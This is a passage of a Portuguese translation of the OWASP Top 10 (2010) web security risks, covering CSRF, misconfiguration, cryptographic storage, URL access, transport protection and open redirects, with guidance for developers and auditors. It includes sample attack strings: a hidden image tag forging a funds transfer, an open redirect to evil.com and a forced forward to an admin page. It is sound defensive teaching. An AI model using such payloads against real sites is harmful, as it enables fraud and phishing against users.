- ESAPI Access Control API (ver isAuthorizedForData(), isAuthorizedForFile(), isAuthorizedForFunction())

Para requisitos de controlo de acessos condicional ver a área dos requisitos ASVS de controlo de acessos(V4).

External

- CWE Entry 639 on Insecure Direct Object References
- CWE Entry 22 on Path Traversal (o qual é um exemplo de ataque por referência directa a objecto)

A5 - Cross Site Request Forgery (XSS)

Agente da Ameaça	Vector de Ataque	Vulnerabilidade de Segurança		Impactos Técnicos	Impactos de Negócio
	Exploração MÉDIA	Prevalência GENERALIZADA	Detecção FÁCIL	Impacto MODERADO	
Considere alguém que engana os seus utilizadores para que os mesmos submetam pedidos para seu sítio de Web. Qualquer sítio de Web ou fonte HTML que seus utilizadores acedam pode fazer isto.	O atacante cria pedidos HTTP forjados e engana a vítima a submeter esses pedidos através de etiquetas HTML de imagens, XSS, ou numerosas outras técnicas. Se o utilizador estiver autenticado, o ataque é bem sucedido.	O CSRF tira proveito de aplicações Web que permitem que os atacantes possam prever todos os detalhes de uma determinada acção. Uma vez que os navegadors Web enviam credenciais tais como *cookies* de sessão de forma automática, os atacantes podem gerar páginas de Web maliciosas que geram pedidos forjados que indistinguíveis dos pedidos legítimos. A detecção de falhas de CSRF é razoavelmente fácil de efectuar por meio de testes de penetração ou através de análises de código.		Os atacantes podem fazer com que vítimas alterem qualquer dado a elas permitida ou que executem qualquer função que a vítima é autorizada a executar.	Considere o valor de negócio dos dados ou aplicações afectadas. Imagine não ter certeza se os usuários tiveram intenção de realizar ou não tais acções. Considere o impacto para a sua reputação.

Serei vulnerável ao CSRF?

A forma mais fácil para verificar se uma aplicação é vulnerável é verificar se cada ligação e formulário contêm um símbolo não previsível para cada utilizador. Sem este tipo de símbolo não previsível, os atacantes podem forjar pedidos maliciosos. Foque-se nas ligações e formulários que invocam funções de mudança de estados, uma vez que estes são os alvos mais importantes para o CSRF.

Deve verificar transacções de múltiplas etapas, pois estas não estão inerentemente imunes. Os atacantes podem forjar uma série de pedidos utilizando múltiplas etiquetas HTML e possivelmente JavaScript.

Note que os *cookies* de uma sessão, o endereço IP de origem e outro tipo de informação enviada de forma automática pelo navegador Web não interessam, uma vez que as mesmas são igualmente enviadas nos pedidos forjados.

A ferramenta da OWASP CSRF Tester pode ajudar na geração de testes de casos que ajudam a demonstrar os perigos das falhas de CSRF.

Como evitar o CSRF

Prevenir o CSRF requer a inclusão de símbolo não previsível no corpo ou URL de cada pedido HTTP. Tais símbolos devem ser, no mínimo, únicos para cada sessão do utilizador, mas também podem ser únicos por cada pedido.

1. A opção preferida passa por incluir um símbolo único em num campo escondido do formulário. Isto faz com que o valor seja enviado no corpo do pedido HTTP, evitando sua inclusão na URL, a qual é sujeita a exposição.

2. O símbolo único também pode ser incluído no próprio URL ou como um parâmetro desse URL. No entanto, esta forma corre o risco que a URL seja exposta a um atacante, comprometendo assim o símbolo secreto.

A ferramenta OWASP CSRF Guard pode ser utilizado para incluir automaticamente esses símbolos na sua aplicação Java EE, .NET ou PHP.

A ESAPI da OWASP inclui geradores de símbolos e mecanismos de validação que os programadores podem utilizar para proteger suas transacções.

Exemplo de cenário de ataque

A aplicação permite que um utilizador possa submeter um pedido de alteração de um estado que não inclui nenhum símbolo secreto. Conforme segue:

```
http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243
```

Então o atacante constrói um pedido que irá transferir dinheiro da conta da vítima para a sua própria conta e esconde este ataque num pedido de uma imagem ou numa "iframe" armazenada em diversos sítios Web controlados pelo atacante.

```
<imgsrc="http://example.com/transferFunds?
amount=1500&destinationAccount=attackersAcct#"width="0" height="0" />
```

Caso a vítima visite qualquer desses sítios enquanto também estiver autenticada no sítio "example.com", qualquer pedido forjado irá incluir as informações da sessão do utilizador, que autorizará inadvertidamente o pedido.

Referências

OWASP

- OWASP CSRF Article
- OWASP CSRF Prevention Cheat Sheet
- OWASP CSRFGuard – CSRF Defense Tool
- ESAPI Project Home Page
- ESAPI HTTPUtilities Class with AntiCSRF Tokens
- OWASP Testing Guide: Chapter on CSRF Testing
- OWASP CSRFTester – CSRF Testing Tool

Externas

- CWE Entry 352 on CSRF

A6 - Configuração Incorrecta de Segurança

Agente da Ameaça	Vector de Ataque	Vulnerabilidade de Segurança		Impactos Técnicos	Impactos de Negócio
	Exploração FÁCIL	Prevalência COMUM	Detecção FÁCIL	Impacto MODERADO	
Considere atacantes externos anónimos assim como utilizadores com as suas próprias contas que possam tentar comprometer o sistema. Considere igualmente atacantes internos que pretendem disfarçar ou esconder as suas acções.	O atacante pode aceder a contas criadas por defeito, páginas não utilizadas, falhas não corrigidas, ficheiros e directorias não protegidos, entre outros, para conseguir obter acesso não autorizado, ou para conseguir obter conhecimentos sobre o sistema.	Uma configuração de segurança incorrecta pode ocorrer a qualquer nível da pilha aplicacional, incluindo a plataforma, o servidor Web, o servidor aplicacional, *framework*, assim como o código personalizado desenvolvido. Os programadores e administradores de rede necessitam de trabalhar em conjunto para assegurar que a pilha aplicacional esteja convenientemente configurada. As ferramentas de pesquisa e análise automática (*scanners*) são bastante úteis na detecção de correcções/actualizações em falta, configurações incorrectas, utilização de contas por defeito, serviços desnecessários, entre outros.		Estas falhas provocam frequentemente que os atacantes possam ter acesso não autorizado a alguns dados ou funcionalidades do sistema. Ocasionalmente, estas falhas resultam no compromisso completo do sistema.	O sistema pode ser completamente comprometido sem que se aperceba disso. Todos os seus dados podem ser roubados ou modificados ao longo do tempo. Os custos de recuperação podem ser bastante elevados.

Serei vulnerável?

Será que executou o robustecimento de segurança apropriado o longo da pilha aplicacional?

1. Possui algum processo que permita manter actualizado to o seu software? Estas actualizações devem incluir o Sistema Operativo, Servidor de Web e Aplicacional, Sistema de Gestão de Bases de Dados, aplicações, e todas as bibliotecas de código.

2. Será que tudo aquilo que não é necessário está desactivado, foi removido, ou não foi instalado (por exemplo: portas, serviços, páginas, contas e privilégios)?

3. Estão as palavras chave das contas por defeito desactivadas ou foram devidamente alteradas?

4. Está o seu sistema de tratamento de erros configurado de forma apropriada para impedir a divulgação de informação comprometedora através de mensagens de erros?

5. Estão as configurações de segurança das suas *frameworks* de desenvolvimento (por exemplo, Structs, Spring, ASP.Net) e bibliotecas de código devidamente percebidas e configuradas?

Um processo concertado e repetitivo é necessário para desenvolver e manter uma configuração de segurança aplicacional adequada.

Como posso evitar isto?

As principais recomendação são as de estabelecer todas as seguintes medidas:

1. Um processo de endurecimento que seja reproduzível e que torne mais rápido e fácil a sua implantação em outro ambiente que esteja devidamente bloqueado. Ambientes de desenvolvimento, de verificação e garantia de qualidade, e de produção devem estar configurados de forma semelhante. Este processo deverá estar automatizado para minimizar os esforços necessários para implementar um novo ambiente seguro.

2. Um processo para se manter a par com todas as novas actualizações e correcções de software de uma forma atempada para cada ambiente em produção. Isto precisa de incluir todo o código e bibliotecas usadas, que são frequentemente ignoradas.

3. Uma arquitectura aplicacional robusta que ofereça uma boa separação e segurança entre os diversos componentes.

4. Considere igualmente a execução periódica de ferramentas de análise automática assim como a realização de auditorias para ajudar na detecção de configurações incorrectas ou correcções em falta.

Exemplos de cenários de ataque

Cenário #1: Suponha que a sua aplicação defende de uma *framework* poderosa tal como a Structs ou Spring. São encontradas vulnerabilidades XSS nestes componentes da *framework* da qual está dependente. Uma actualização é lançada para corrigir este problema, no entanto você não actualiza as suas bibliotecas. Até o fazer, os atacantes podem facilmente encontrar e explorar estas vulnerabilidades na sua aplicação.

Cenário #2: A consola de administração da aplicação é instalada forma automática e depois não é removida. As contas por defeito não são alteradas. Um atacante pode descobrir as páginas de administração no servidor, autenticando-se com a palavra chave por defeito, tomando assim controlo sobre a aplicação.

Cenário #3: A listagem das directorias não foi desactivada no seu servidor. Um atacante pode descobrir que pode encontrar todos os ficheiros no seu servidor listando simplesmente as directorias. O atacante encontra e descarrega todas as suas classes Java compiladas, podendo então reverter as mesmas para ter ao seu código. A partir daqui, o atacante pode tentar encontrar uma vulnerabilidade séria no controlo de acessos no código, podendo depois explorar a mesma.

Cenário #4: A configuração de uma determinada aplicação permite que as listagens de erro seja mostradas aos utilizadores, expondo assim vulnerabilidades potenciais. Os atacantes adoram todo este tipo de informação adicional nas mensagens de erro que as aplicações produzem.

Referências

OWASP

- OWASP Development Guide: Chapter on Configuration
- OWASP Code Review Guide: Chapter on Error Handling
- OWASP Testing Guide: Configuration Management
- OWASP Testing Guide: Testing for Error Codes
- OWASP Top 10 2004 - Insecure Configuration Management

Para mais requisitos nesta área, consulte por favor o ASVS na secção de requisitos para Configurações de Segurança (V12).

Externos

- PC Magazine Article on Web Server Hardening

- CWE Entry 2 on Environmental Security Flaws
- CIS Security Configuration Guides/Benchmarks

A7 - Armazenamento Criptográfico Inseguro

Agente da Ameaça	Vector de Ataque	Vulnerabilidade de Segurança		Impactos Técnicos	Impactos de Negócio
	Exploração DIFÍCIL	Prevalência POUCO COMUM	Detecção DIFÍCIL	Impacto SEVERO	
Considere os utilizadores do seu sistema. Gostariam eles de ter acesso a dados protegidos sem permissão para o fazer? E os administradores internos?	Habitualmente os atacantes não quebram a criptografia. Eles quebram outros elementos, tais como encontrar chaves, obter cópias em claro de dados, ou tentam aceder a dados através de canais que os decifram automaticamente.	A falha mais comum nesta área é o simples fato de não cifrar os dados que necessitam de ser cifrados. Quando a criptografia é usada é comum encontrar, a geração e armazenamento inseguro das chaves, a não rotatividade das chaves, e o utilização de algoritmos fracos. A utilização de funções de resumo fracas sem a utilização de factores de entropia (*salts*) para proteger palavras chave é igualmente comum. Os atacantes externos têm dificuldades em detectar estas falhas devido ao seu acesso limitado. Habitualmente tentam explorar outras alternativas em primeiro lugar para obterem o desejado acesso.		Este tipo de falhas compromete frequentemente todos os dados que deveriam ter sido cifrados. Tipicamente esta informação inclui dados sensíveis tais como registos médicos, credenciais, dados pessoais, cartões de crédito, entre outros.	Considere o valor de negócio dos dados perdidos e o impacto na sua reputação. Qual é a sua responsabilidad e legal se estes dados forem expostos? Considere igualmente o prejuízo em termos da sua reputação.

Serei vulnerável?

A primeira coisa que é necessário determinar é saber quais são dados verdadeiramente sensíveis que necessitem de ser cifrados. Por exemplo, palavras chave, cartões de crédito, registos médicos, e informação pessoal devem ser cifrados. Para todos estes dados, é necessário assegurar:

1. Está cifrado sempre que estejam armazenados a longo prazo, em especial em cópias de segurança destes dados.

2. Apenas os utilizadores autorizados podem aceder a cópias decifradas dos dados (por exemplo, sistema de controlo de acesso – ver a A4 e a A7).

3. Que um algoritmo criptográfico forte, devidamente padronizado por entidades internacionais, está a ser utilizado.

4. Que foi gerada uma chave robusta, protegida contra acessos não autorizados, e que já planeada a futura mudança de chave.

E muitos mais… para ter acesso a um conjunto mais completo de problemas a serem evitados, veja os requisitos na utilização da Criptografia do ASVS (V7).

Como evitar isto?

Todos os perigos do uso inseguro da criptografia estão para além do âmbito deste Top 10. No entanto, importa realçar que para todos os dados sensíveis que necessitem de ser cifrados, convém considerar pelo menos o seguinte:

1. Considerando todas as ameaças das quais planeia proteger os dados (por exemplo, ataques internos, utilizadores externos), assegure-se que está a cifrar todos os dados de forma a que os mesmos estejam protegidos destas ameaças.

2. Garanta que as cópias de segurança são cifradas, mas que as chaves são geridas e as suas cópias guardadas de uma forma separada.

3. Garanta que apenas são usados algoritmos apropriados e robustos, que seguem padrões internacionais, que as chaves usadas são fortes, e que existem políticas de gestão das mesmas.

4. Certifique-se que as palavras chave são alvo do processamento por parte de um algoritmo de geração de resumos, obedecendo a padrões internacionais, e que são usados os mecanismos de entropia (*salt*) convenientes.

5. Garanta que todas as chaves e palavras chave estão protegidas contra acessos não autorizados.

Exemplos de Cenários de Ataque

Cenário#1: Uma aplicação cifra os dados dos cartões de crédito numa base de dados para prevenir que os mesmos sejam expostos aos utilizadores finais. No entanto, a base de dados está configurada para automaticamente decifrar consultas nas colunas de cartões de crédito, permitindo que uma falha de injecção por SQL possa listar todos os cartões de crédito em claro. O sistema deveria ter sido configurado para permitir que apenas aplicações de *back-end* pudessem decifrar esses dados, e não as aplicações Web de *front-end*.

Cenário#2: Uma cassete com uma cópia de segurança é composta por registos médicos devidamente cifrados, no entanto, a chave de cifra está armazenada na mesma cópia de segurança. A copia de segurança extravia-se e nunca chega ao centro onde deveria ficar armazenada e protegida.

Cenário#3: A palavra chave de uma base de dados usa funções de resumo, sem dados de entropia (salt), para armazenar as senhas de todos os utilizadores. Uma falha no carregamento de um ficheiro permite que um atacante possa obter o ficheiro que contem as palavras chave. Todas os resumos gerados sem recurso a informação de entropia, podem ser descobertos através de ataques por força bruta em apenas 4 semanas, enquanto os resumos gerados com recurso a entropia teriam levado mais de 3000 anos a ser descobertos.

Referências

OWASP

Para um conjunto mais completo de requisitos e problemas para serem evitados nesta área, veja o documento de requisitos na utilização da Criptografia do ASVS (V7).

- OWASP Top 10-2007 on Insecure Cryptographic Storage
- ESAPI Encryptor API
- OWASP Development Guide: Chapter Cryptography
- OWASP Code Review Guide: Chapter Cryptography

Externa

- CWE Entry 310 on Cryptography Issues
- CWE Entry 312 on Cleartext Storage Sensitive Information

- CWE Entry 326 on Weak Encryption

A8 – Falha na Restrição de Acesso a URL

Agente da Ameaça	Vector de Ataque	Vulnerabilidade de Segurança		Impactos Técnicos	Impactos de Negócio
	Exploração FÁCIL	Prevalência POUCO COMUM	Detecção MÉDIO	Impacto MODERADO	
Qualquer pessoa com acesso à rede pode enviar um pedido para a sua aplicação. Podem utilizadores anónimos aceder a páginas privadas ou os utilizadores regulares podem aceder a páginas com privilégios especiais?	Sendo o atacante um utilizador autorizado do sistema pode alterar a URL para uma página com privilégios. É o acesso concedido? Os utilizadores anónimos podem aceder a páginas privadas que não estejam protegidas.	As aplicações nem protegem os pedidos de páginas convenientemente. Por vezes, a protecção da URL é gerida através de configuração podendo o sistema estar mal configurado. Por vezes os programadores esquecem-se de efectuar as validações apropriadas no código. A detecção destas falhas é fácil. A parte difícil está em identificar que páginas (URLs) estão vulneráveis a ataques.		Tais falhas permitem aos atacantes aceder a funcionalidades não autorizadas. As funções de administração são o alvo chave neste tipo de ataque.	Considere o valor de negócio das funções expostas e os dados que estas processam. Considere o impacto na sua reputação caso estas vulnerabilidades se venham a tornar publicas.

Serei vulnerável?

A melhor forma de saber se uma aplicação falha na restrição de acesso a uma URL consiste em verificar todas as páginas. Considere para cada uma das páginas se esta é suposto ser publica ou privada. Se for uma página privada:

1. Para aceder à página é requerida autenticação?
2. É suposto esta estar acessível a qualquer utilizador autenticado? Se não, é então realizada uma verificação da autenticação para assegurar que o utilizador tem permissões para aceder à página?

Frequentemente os mecanismos de segurança externa fornecem verificação de autenticação e autorização para aceder à página. Verifique se estes estão configurados adequadamente para cada página. Se for utilizada protecção ao nível de código, verifique que a mesma está em todas as páginas que o requerem. Os testes de penetração podem também ajudar verificar se a protecção adequada está colocada.

Como evitar isto?

A prevenção contra o acesso não autorizado a URL requer a selecção de uma abordagem que permita solicitar a autenticação adequada em cada página. Frequentemente, tal protecção é fornecida por uma ou mais componentes externas ao código da aplicação. Independentemente do(s) mecanismo(s) fazem-se as seguintes recomendações:

1. As políticas de autenticação e autorização devem ser baseadas em papéis/perfis, para minimizar o esforço necessário de manutenção dos mesmos.
2. As políticas devem poder ser parameterizadas e configuradas de forma a minimizar que as mesmas estejam codificadas directamente nas aplicações e com pouca flexibilidade.

3. Os mecanismos de aplicação, por defeito, deverão negar todos os acessos, requerendo aos utilizadores atribuições explicitas e papéis/perfis adequados para aceder a qualquer página.

4. Se a página estiver integrada num fluxo de trabalho complexo deve-se verificar se todas as condições estão num estado apropriado para permitir o acesso.

Exemplo de cenário de ataque

O atacante pode simplesmente forçar a navegação das URLs alvo. Considere as seguintes URLs que, supostamente, requerem autenticação. Os direitos de administração são também necessários para aceder à página "admin_getappInfo".

http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo

Se o atacante não estiver autenticado e se o acesso a ambas as páginas for atribuído, então é permitido o acesso não autorizado. Se a um utilizador autenticado que não seja administrador é permitido aceder à página "admin_getappInfo" tal é considerado uma falha podendo dar ao atacante acesso a mais páginas de administração mal protegidas.

Tais falhas são frequentemente introduzidas quando existem ligações e botões que são simplesmente escondidos a utilizadores não autorizados, no entanto a aplicação falha na protecção das páginas a que os mesmos se referem.

Referências

OWASP

- OWASP Top 10-2007 on Failure to Restrict URL Access
- ESAPI Access Control API
- OWASP Development Guide: Chapter on Authorization
- OWASP Testing Guide: Testing for Path Traversal
- OWASP Article on Forced Browsing.

Para um conjunto mais completo de requisitos de controlo de acesso, veja os requisitos para controlo de acesso no ASVS (V4).

Externas

- CWE Entry 285 on Improper Access Control (Authorization)

A9 - Insuficiente Protecção da Camada de Transporte

Agente da Ameaça	Vector de Ataque	Vulnerabilidade de Segurança		Impactos Técnicos	Impactos de Negócio
	Exploração DIFÍCIL	Prevalência COMUM	Detecção FÁCIL	Impacto MODERADO	
Considere alguém que quer monitorizar o tráfego de rede dos seus utilizadores. Se a aplicação está na Internet, quem sabe como os seus utilizadores lhe acedem. Não se esqueça das ligações de *back-end*.	Monitorar o tráfego dos utilizadores na rede pode ser difícil, mas na maior parte das vezes é fácil. A principal dificuldade reside na monitorização do tráfego de rede apropriado enquanto os utilizadores acedem ao sítio vulnerável.	As aplicações frequentemente não protegem o tráfego de rede. Podem utilizar SSL/TLS durante a autenticação, mas não no restante, expondo dados e Ids de sessão a intercepção. Certificados mal configurados ou expirados podem também ser utilizados. Detectar falhas básicas é fácil. Basta observar o tráfego de rede do sítio. Falhas mais subtis requerem inspecção da arquitectura da aplicação e da configuração do servidor.		Estas falhas expõem dados de utilizadores e podem originar roubos de contas. Se uma conta de administração for comprometida, todo o sítio pode ser exposto. Más configurações do SSL podem também facilitar ataques de MITM e *phishing*.	Considere o valor de negócio dos dados expostos nos canais de comunicação em termos de necessidade de confidencialidade e integridade, e a necessidade de autenticar ambas as partes.

Serei vulnerável?

A melhor maneira de descobrir se uma aplicação possui protecção suficiente da camada de transporte é verificar que:

1. É utilizado SSL para proteger todo o tráfego relacionado com autenticações.
2. É utilizado SSL para todos os recursos em todas as páginas privadas e serviços. Isto protege todos os dados e símbolos de sessão que são trocados. A utilização de conteúdo misto numa página (conteúdo SSL e não SSL) deve ser evitado dado que poderá causar avisos no navegador, expondo o identificador de sessão do utilizador.
3. Apenas algoritmos robustos são suportados.
4. Todos os *cookies* de sessão possuem a opção 'secure' para que o navegador nunca os transmita sem os cifrar adequadamente.
5. O certificado do servidor é legítimo e está devidamente configurado para o servidor em causa. Isto inclui ser emitido por um emissor autorizado, não estar expirado, não ter sido revogado e mapear todos os domínios que o sítio utiliza.

Como se prevenir?

Fornecer uma protecção apropriada da camada de transporte pode afectar a arquitectura do próprio sítio Web. É mais fácil usar o SSL em todo o sítio. Devido a razões de desempenho, alguns sítios apenas utilizam

SSL em páginas privadas. Outros utilizam SSL apenas em páginas “críticas”, no entanto isto pode expor identificadores de sessão assim como outros dados sensíveis. No mínimo deverá ser feito o seguinte:

1. Solicitar SSL para todas as páginas sensíveis. Pedidos não-SSL para estas páginas deverão ser redireccionados para a página SSL.
2. Colocar a opção 'secure' em todos os *cookies* sensíveis.
3. Configurar o fornecedor SSL para apenas suportar algoritmos robustos (por exemplo, compatíveis com FIPS 140-2).
4. Assegurar que o certificado é válido, não expirado, não revogado, e que mapeia todos os domínios utilizados pelo sítio Web.
5. Outras ligações, assim como as de *back end*, devem igualmente utilizar SSL ou outras tecnologias de cifra.

Exemplos de cenários de ataque

Cenário#1: O sítio Web simplesmente não utiliza SSL para todas as páginas que requerem autenticação. O atacante simplesmente monitoriza o tráfego de rede (tal como uma rede sem fios aberta ou a rede de cabo do seu vizinho), e observa o *cookie* de sessão de uma vítima autenticada. O atacante utiliza a informação deste *cookie* e rouba a sessão do utilizador legítimo.

Cenário#2: Um sítio possui um certificado SSL mal configurado que causa avisos do navegador aos utilizadores. Os utilizadores têm que aceitar os avisos para continuar a utilizar o sítio. Isto faz com que os utilizadores se habituem a tais avisos. Os ataques de *phishing* ao sítio poderão enganar os clientes a aceder a um sítio semelhante, o qual não possui um certificado válido, gerando avisos de navegador semelhantes. Como as vítimas estão habituadas a tais avisos, estas procedem normalmente e utilizam o sítio de *phishing*, fornecendo palavras chave e outros dados privados.

Cenário#3: Um sítio simplesmente utiliza ODBC/JDBC para ligação à base de dados, não se apercebendo que todo o tráfego segue em claro.

Referências

OWASP

Para um conjunto mais completo de requisitos e problemas a evitar nesta área, ver o documento ASVS sobre os requisitos na segurança das comunicações (V10).

- OWASP Transport Layer Protection Cheat Sheet
- OWASP Top 10-2007 on Insecure Communications
- OWASP Development Guide: Chapter on Cryptography
- OWASP Testing Guide: Chapter on SSL/TLS TestingExternal

Externas

- CWE Entry 319 on CleartextTransmission of Sensitive Information
- SSL Labs Server Test
- Definition of FIPS 140-2 Cryptographic StandardHow

A10 - Redireccionamentos e Encaminhamentos Inválidos

Agente da Ameaça	Vector de Ataque	Vulnerabilidade de Segurança		Impactos Técnicos	Impactos de Negócio
	Exploração MÉDIO	Prevalência POUCO COMUM	Detecção FÁCIL	Impacto MODERADO	
Considere qualquer um que pode enganar seus utilizadores na submissão de um pedido ao seu sítio Web. Qualquer sítio Web ou fonte de HTML que os utilizadores usem podem provocar estes problemas.	Os atacantes apontam para um redirecionamento inválido e iludem as vítimas para que estas os seleccionem. As vítimas estão mais propensas a seleccionar essa ligação, desde que a mesma seja para um sítio válido e verdadeiro. O atacante ataca encaminhamento s inseguros para tentar contornar as verificações de segurança.	As aplicações redirecionam frequentemente os utilizadores para outras páginas, ou utilizam encaminhamentos internos de uma maneira similar. Por vezes a página destino é especificada através de um parâmetro que não é validado, permitindo assim que um atacante possa escolher a página de destino. Detectar redirecionamentos que não são validados é simples. Basta procurar por redirecionamentos onde você pode definir a URL por completo. Os encaminhamentos não validados são mais difíceis, uma vez que eles possuem como alvo páginas internas.		Tais redirecionament os podem tentar instalar malware ou podem tentar enganar as vitimas com o intuito de as levar a divulgar palavras chave ou outras informações sensíveis. Os encaminhament os inseguros podem permitir contornar os controlos de acesso.	Considerar o valor de negócio de manter a confiança dos seus utilizadores. E se eles forem infectados por malware? E se os atacantes puderem aceder a funções que eram suposto ser apenas internas?

Serei vulnerável?

A melhor forma de verificar se alguma aplicação possui redirecionamentos ou encaminhamento não validados é:

1. Rever o código para todos os usos de redirecionamentos ou encaminhamentos (chamados de transferências em .NET). Para cada utilização, identifique se a URL de destino faz parte de algum valor de um parâmetro. Se assim for, verifique se o(s) parâmetro(s) são validados para apenas conter destinos permitidos, ou elementos de um destino.

2. Igualmente, percorra o sítio para verificar se o mesmo gera algum redireccionamento (códigos de resposta HTTP 300-307, tipicamente o 302). Olhe para os parâmetros fornecidos antes do redirecionamento para verificar se eles se parecem ser uma URL de destino ou apenas uma parte dessa URL. Se sim, altere a URL de destino e observe se o sítio o redireciona para esse novo destino.

3. Se o código não estiver disponível, verifique todos os parâmetros para ver se eles parecem ser uma parte de uma URL de destino de um redirecionamento ou encaminhamento, e teste todas que o sejam.

Como se prevenir?

O uso seguro de redirecionamentos e encaminhamentos podem ser feitos de várias formas:

1. Simplesmente evitando o uso de redirecionamentos e encaminhamentos.

2. Se tiverem mesmo que ser usados, não envolva parâmetros do utilizador no cálculo da URL de destino.

3. Se os parâmetros de destino não podem ser evitados, tenha certeza de fornecer um valor válido, e autorizado para o utilizador.

   Recomenda-se que os parâmetros de destino sejam valores mapeados, e não a URL real ou parte dela, e que o código do lado do servidor traduza este mapeamento para a URL de destino.

   As aplicações podem usar ESAPI para substituir o método sendRedirect() para se certificarem de que todos os destinos do redirecionamento são seguros.

Evitar estas falhas são extremamente importantes, pois elas são os alvos favoritos de phishers tentando obter a confiança do usuário.

Exemplos de cenários de ataque

Cenário#1: A aplicação possui uma página chamada "redirect.jsp" que leva apenas um parâmetro chamado "url". O atacante cria uma URL maliciosa que redireciona os utilizadores para um sítio Web malicioso que é usado para *phishing* ou instalar *malware*.

```
http://www.example.com/redirect.jsp?url=evil.com
```

Cenário#2: A aplicação usa encaminhamento para efectuar a ligação de pedidos entre diferentes partes de um sítio. Para facilitar isto, algumas páginas usam um parâmetro para indicar para onde o utilizador deve ser enviado se uma determinada transacção for executada com sucesso. Neste caso, o atacante cria uma URL que irá passar pela aplicação de verificação do controlo de acessos e, em seguida vai encaminhá-lo para uma função administrativa à qual ele normalmente não teria acesso.

```
http://www.example.com/boring.jsp?fwd=admin.jsp
```

Referências

OWASP

- OWASP Article on Open Redirects
- ESAPI Security Wrapper Response sendRedirect() method

Externas

- CWE Entry 601 on Open Redirects
- WASC Article on URL Redirector Abuse
- Google blog article on the dangers of open redirects

O que se segue para os programadores

Estabelecer e Usar um conjunto comum de controlos de segurança

Quer seja novo na área da segurança aplicacional para a Web ou se já está suficientemente familiarizado com estes riscos, a tarefa de produzir uma aplicação Web segura ou de solucionar os problemas numa já existente pode ser muito difícil. Se tiver que gerir um conjunto grande de aplicações Web, isto pode tornar-se numa tarefa dantesca.

Disponibilidade de muitos recursos OWASP livres e abertos

Para ajudar as organizações e os programadores a reduzirem os seus riscos aplicacionais de uma forma eficiente, a OWASP produziu um numeroso conjunto de recursos livres e abertos que podem ser usados para fazer face aos múltiplos problemas de segurança aplicacional da sua organização. A seguir são apresentados alguns dos muitos recursos que a OWASP produziu para ajudar as organizações a produzir aplicações Web seguras. Na página seguinte, são apresentados alguns recursos OWASP adicionais que podem ajudar as organizações na verificação da segurança das suas aplicações Web.

Requisitos de Segurança Aplicacional	Para desenvolver uma aplicação Web segura, deve definir o seu próprio significado de segurança. A OWASP recomenda a utilização da Norma de Verificação de Segurança Aplicacional da OWASP (ASVS), como um guia que define um conjunto de requisitos para as suas aplicações. Se sub-contratar o desenvolvimento das suas aplicações, considere a utilização do Anexo do Contrato de Software Seguro.
Arquitectura de Segurança Aplicacional	Ao invés de tentar encaixar a segurança nas suas aplicações é muito mais eficiente planear e desenhar essa segurança desde o inicio. A OWASP recomenda a consulta do Guia do Programador da OWASP como um bom ponto de partida e que oferece suporte sobre a forma como se pode desenhar a segurança na aplicação desde o inicio.
Normalização de Controlos de Segurança	Construir controlos de segurança que sejam simultaneamente fortes e fáceis de usar é extraordinariamente difícil. Oferecer aos programadores um conjunto de controlos de segurança normalizados simplifica radicalmente o desenvolvimento de aplicações seguras. A OWASP recomenda a utilização do projecto da API de Segurança Empresarial da OWASP (ESAPI) como um modelo de uma API de segurança necessária para produzir aplicações Web seguras. A ESAPI oferece implementações de referência em linguagens de programação tão distintas como Java, .Net, PHP, ASP clássico, Python e Cold Fusion.
Ciclo de Vida de Desenvolvimento Seguro	Para melhorar os processos da organização no desenvolvimento deste tipo de aplicações, a OWASP recomenda o Modelo de Maturidade de Garantia do Software (SAMM – Software Assurance Maturity Model) da OWASP. Este modelo ajuda as organizações a formularem e implementarem estratégias para a segurança do software que são mais adequadas para os riscos específicos que a organização terá que enfrentar.
Educação em Segurança Aplicacional	O Projecto de Educação da OWASP oferece materiais de formação que ajudam a treinar e formar programadores na área da segurança aplicacional Web e que agregou um conjunto alargado de Apresentações Educacionais da OWASP. Para aprender mais sobre as vulnerabilidades usando casos práticos, tente usar o WebGoat. Para estar sempre actualizado em relação aos riscos de segurança deve acompanhar alguns dos nossos muitos eventos, que se trate de uma Conferência OWASP AppSec, um Evento de Formação OWASP ou ainda uma reunião de um dos muitos Capítulos OWASP Locais espalhados pelo Mundo.

Existem ainda um conjunto de inúmeros recursos adicionais da OWASP para utilização. Por favor, visite a página de Projectos da OWASP que lista todos os projectos OWASP, organizados pela qualidade dos resultados dos mesmos (Versão Final, Beta ou Alfa). Muitos dos recursos da OWASP estão directamente disponíveis no nosso Wiki, e muitos dos documentos da OWASP podem ser encomendados numa versão em papel.

O que se segue para os auditores

Organize-se

Para verificar a segurança de uma aplicação Web que desenvolveu, ou de uma aplicação cuja aquisição está a considerar, a OWASP recomenda que reveja o código-fonte da mesma (caso esteja disponível) e que a teste. A OWASP recomenda uma combinação de revisões de segurança do código-fonte e de testes de penetração aplicacionais sempre que tal seja possível, uma vez que isso permitirá obter os melhores resultados de ambas as técnicas uma vez que ambas se complementam. As ferramentas para ajudar no processo de verificação podem melhorar o desempenho e a eficácia de um especialista neste tipo de análise. As ferramentas de avaliação da OWASP estão concebidas para ajudarem um especialista a ser mais eficaz ao invés de tentarem simplesmente automatizar o próprio processo de análise.

Normalizar o Processo de Verificação da Segurança em Aplicações Web: para ajudar as organizações a desenvolverem avaliações de segurança em aplicações Web que sejam consistentes e rigorosas, a OWASP produziu uma Norma de Verificação de Segurança Aplicacional (Application Security Verification Standard - ASVS) da OWASP. Este documento define um conjunto mínimo de normas de verificação para realizar avaliações de segurança em aplicações Web. A OWASP recomenda a utilização do ASVS como um guião não apenas para o que procurar quando se verifica a segurança de uma aplicação Web, mas indica também quais as técnicas mais apropriadas a usar, e ajuda na definição e selecção do nível de rigor aquando da verificação da segurança das mesmas. A OWASP recomenda igualmente a utilização do ASVS para ajudar na definição e selecção de serviços de verificação de aplicações Web que possam ser contratados a fornecedores externos.

Conjunto de Ferramentas de Verificação: o Projecto do Live CD da OWASP reuniu algumas das melhores ferramentas de código aberto de segurança num ambiente único, que podem ser usadas a partir de um CD de arranque. Os programadores Web, responsáveis de testes, e profissionais de segurança podem arrancar os seus sistemas usando este Live CD tendo de imediato o acesso a um conjunto integrado de ferramentas de verificação e testes de segurança. Não será necessária qualquer instalação ou configuração adicional para usar as ferramentas contidas neste CD.

Revisão de Código

A revisão de código é a forma mais robusta para verificar a segurança de uma aplicação. Os testes apenas podem provar que uma aplicação é insegura.

